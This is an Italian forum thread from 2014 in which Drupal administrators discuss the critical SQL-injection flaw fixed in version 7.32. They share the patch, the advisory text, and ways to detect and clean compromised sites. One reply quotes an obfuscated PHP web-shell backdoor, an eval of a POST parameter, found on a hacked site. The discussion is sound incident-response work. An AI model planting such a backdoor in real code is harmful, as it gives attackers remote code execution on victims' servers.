Ciao a tutti, da ieri è disponibile la nuova versione Drupal 7.32 che risolve un gravissimo problema di sicurezza.
Si tratta di un bug che può essere sfruttato da chiunque e che permette all'attaccante di accedere al database senza limitazioni e di eseguire codice PHP sulla macchina.
Perché l'aggiornamento è urgente? Per il semplice fatto che non è un bug presente solo sulla carta ma stanno già girando diversi sistemi per sfruttare il bug e quindi tutti i siti Drupal non aggiornati sono vulnerabili.
Si può risolvere il bug in due modi: aggiornando Drupal alla versione 7.32 oppure applicando manualmente una patch.
Vi lascio un link di approfondimento su come funziona il bug e su come poter rilevare una eventuale compromissione: http://leonardofinetti.blogspot.it/2014/10/grave-vulnerabilita-drupal-dr...
Grazie!
Mi diresti però il perchè?
/includes/database/database.inc
- foreach ($data as $i => $value) {
+ foreach (array_values($data) as $i => $value) {
@Meggis
Lascia stare le patches ed aggiorna subito il core o ti bucano il sito (se già non lo hanno fatto).
Personalmente con Drupal non avevo mai visto una criticità sulla sicurezza così alta.
Appunto che anch'io non l'avevo vista una criticità cosi, ecco perchè chiedo perchè array_values($data) rispetto a $data risolvi il problema. E poi questi hacker cosa devono inseire come sqlinject???
L'ultima news è che aggiornare alla versione 7.32 non basta, bisognerebbe reinstallare da un backup sicuro prima di aggiornare....
https://www.drupal.org/PSA-2014-003
ho avuto 5 siti compromessi (di cui sono sicuro) su 30 e devo dire che sono moderatamente nel panico.
c'è un modo per capire se il sito è stato attaccato?
e un modo per capire che modifiche hanno fatto gli hacker?
pare di no.
www.pistocco.com
leggete qui...
http://drupal.geek.nz/blog/your-drupal-websites-backdoor
www.pistocco.com
Ciao Maurino, come fai ad essere sicuro che 5 dei tuoi siti sono compromessi ? Da cosa lo hai rilevato ?
Io ho aggiornato il 17/10, quindi, secondo la vulnerabilità, essendo trascorsi due giorni è probabile che anche il mio è compromesso, ma per ora non vedo niente di strano.
Posso ripristinare al 10/10, ma da allora ho fatto parecchie modifiche; vorrei sapere quindi anch' io se c' è un modo per individuare possibili backdoors.
ho scaricato i siti e fatto una ricerca nei files per base64_decode... quindi ho trovato dei file modificati un po' random...
me li sono ripuliti a mano... per quello volevo sapere se c'era un metodo più sicuro...
c'erano anche dei .php nelle sottocartelle files.
per fare qualche ulteriore prova ho usato il modulo hacked.
ora ci vorrebbe un metodo per testare il database.
www.pistocco.com
c'erano anche dei .php nelle sottocartelle files
Questa è una ottima indicazione. Non ho php nelle sottocartelle files.
Domani proverò il modulo hacked.
Come si fa una ricerca nei files per base64_decode ?
Grazie.
Qui abbiamo una lista degli attacchi identificati:
https://gist.github.com/joshkoenig
Controllare le tabelle: menu_router, users, user_role
insomma il discorso è che:
questo problema drupal 7 ce l'ha sempre avuto e nessuno (forse) lo sapeva
però poichè è stato scoperto il 15 da:
Sektion Eins, una rinomata società di sicurezza PHP con sede in Germania che è stato ingaggiata per controllare Drupal da un client senza nome
è scoppiato sto casino,wappalyzer è zompato ad es.
sti tedeschi era meglio se si stavano zitti
@motocad
sembra che sia vero e sembra che il team di Drupal sulla sicurezza non ne era a conoscenza(?).
Fatto sta che il 15 si è saputo, la patch era già pronta ed il 15 è uscito anche il 7.32. Strano.
I crackers si sono scatenati subito.
E' evidente che dal 15 in poi, la possibilità di essere stati attaccati aumenta con il trascorrere dei giorni, se non si è effettuato l' upgrade, ma questo non esclude che qualcuno possa essere stato attaccato anche prima, quindi, ripristinare un backup antecedente il 15/10, non da alcuna certezza, anche se, se si è aggiornati il core dopo diversi giorni, forse si dovrebbe fare.
E' d' obbligo comunque, da quanto appreso finora, controllare approfonditamente il sito web.
In particolare:
- controllare la directory sites/default/files per controllare che non ci siano files php strani
- controllare tutti gli account registrati cancellando quelli strani
- controllare tabelle del database, in particolare quelle indicate sopra (verificando che i ruoli corrispondano a quelli assegnati, e che non ci sia qualche altro elevato al ruolo di admin).
- fare un controllo con il modulo hacked
Tutto questo non garantisce al 100% ma è già qualcosa.
Un problema di questo tipo finora non si era mai verificato e per Drupal è sicuramente una bella botta.
Postare se si hanno altre notizie.
comunque in giro per il mondo non registro ecatombe di siti drupal
forse sopravvalutiamo gli hackers,
non ci stanno più gli hackers di una volta,
mi ricordo anni fa 2008-2009 quando ci fu veramente quella volta un'ecatombe di siti joomla e ne parlarono tutti,non influenzò l'uso di joomla negli anni,stavolta nessuno parla di sterminio di siti drupal
perché il sito non subisce defacciamenti o va giù, semplicemente viene usato per spammare email (nel mio caso). difficile accorgersene senza essere admin.
www.pistocco.com
@Maurino
non sei bene informato,vai sul sito della Sektion Eins e troverai scritto da loro:
Applicazione: Drupal> = 7.0 <= 7,31
Gravità: iniezione completa di SQL, che si traduce in un controllo totale e l'esecuzione di codice del sito web.
Rischio: molto critico
Fornitore Stato: Drupal 7.32 risolto questo bug
Un utente malintenzionato può iniettare query SQL arbitrarie. E in tal modo
controllare il sito completo Drupal. Questo porta ad una esecuzione di codice pure.
Questa vulnerabilità può essere sfruttata da un attaccante remoto senza alcuna
tipo di autenticazione necessaria.
Dal momento che Drupal utilizza DOP, sono consentiti multi-query. Quindi questo SQL Injection può
essere utilizzato per inserire dati arbitrari nel database, scaricare o modificare i dati esistenti
o far cadere l'intero database.
Con la possibilità di inserire dati arbitrari in un database
utente malintenzionato può eseguire qualsiasi codice PHP tramite Drupal dispone di callback.
A me solo un sito pare essere stato compromesso.
Ho trovato un utente drupaldev che però non aveva nessun tipo di ruolo assegnato e, almeno dai log, nessun tipo di attività o accesso dopo la creazione.
Leggendo in giro, solitamente questo utente è associato dal malintenzionato ad un ruolo megauser ma nel mio caso il ruolo non è nemmeno presente, né ho altri ruoli strani.
Per il resto non ho riscontrato nessun file strano o modifiche sui file con una data post o prossima al 15 Ottobre.
Ho aggiornato, fatto controlli ed eliminato l'utente ma francamente non so che fare.
Il sito in questione è uno di quelli che gestisco in uno shared hosting e l'ultimo backup disponibile purtroppo è post 15 Ottobre.
Al momento sto monitorando e mi sembra tutto in ordine senza nessuna attività sospetta.
@Maurino il sito è compromesso; personalmente o ripristinerei a prima del 15 o lo ricostruirei da capo.
@gp
per il sito in questione per me vale lo stesso consiglio dato a Maurino.
I cracker sono entrati e non sai quello che hanno fatto; possono essersene impadroniti ed eseguire qualsiasi cosa quando vogliono. Possono starsene tranquilli e chissà, farsi vivi tra 4 o 5 mesi.
Tu riesci a stare tranquillo ?
Ovvio che non sto tranquillo e sto cercando di recuperare più informazioni possibili ma rifare tutto da capo costa tempo, fatica e direi pure denaro visto che ho altri lavori da fare.
Non ci voleva.
tanto per dire è andato giù un altro che avevo pacciato...
il codice inserito è diverso dall'altro.
<?php $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q503876'])){eval(${$s20}['q503876']);}?>www.pistocco.com
provo questo.
https://www.drupal.org/project/drupalgeddon
anzi questo:
https://www.drupal.org/sandbox/martin_klima/test_drupageddon
che però come si scarica?
www.pistocco.com
installi git ed esegui il comando di download
git clone --branch 7.x-1.x http://git.drupal.org/sandbox/martin_klima/test_drupageddon.git test_drupageddon
cd test_drupageddon
e te lo scarica in locale
fatto, grazie. ora testo i siti. i primi due sono puliti, secondo il modulo.
www.pistocco.com
Ma il primo modulo funziona solo con Drush?
Inoltre ho pure scoperto qualche comportamento subdolo, ad esempio in alcuni siti ho trovato il file oggetto del bug modificato in data tra il 15 e 16 Ottobre che apparentemente andava proprio a correggere il problema. Ovviamente domandando al provider dell'hosting loro non hanno fatto nulla.
E in uno di questi dopo qualche giorno il sito è stato bloccato per eccessivo spam da questo file /modules/simpletest/tests/themes/test_theme/list.php estraneo all'installazione di Drupal che però fino al giorno prima non esisteva.
infatti, ho usato il secondo che dovrebbe fare la stessa cosa.
come dicevo qualche commento fa, il sito può essere compromesso anche se apparentemente non ha nulla. il primo segnale sono dei file php nelle sottocartelle di files... poi ce ne sono sparsi dappertutto.
www.pistocco.com
Esatto, possono anche essere presenti nella root principale al di fuori di sites/default/files ma soprattutto crearsi in un dato momento random.
Secondo me questo bug farà casini alla distanza anche perché la celerità di infezione è stata così breve che ha dato troppo poco tempo per mettere una toppa sicura.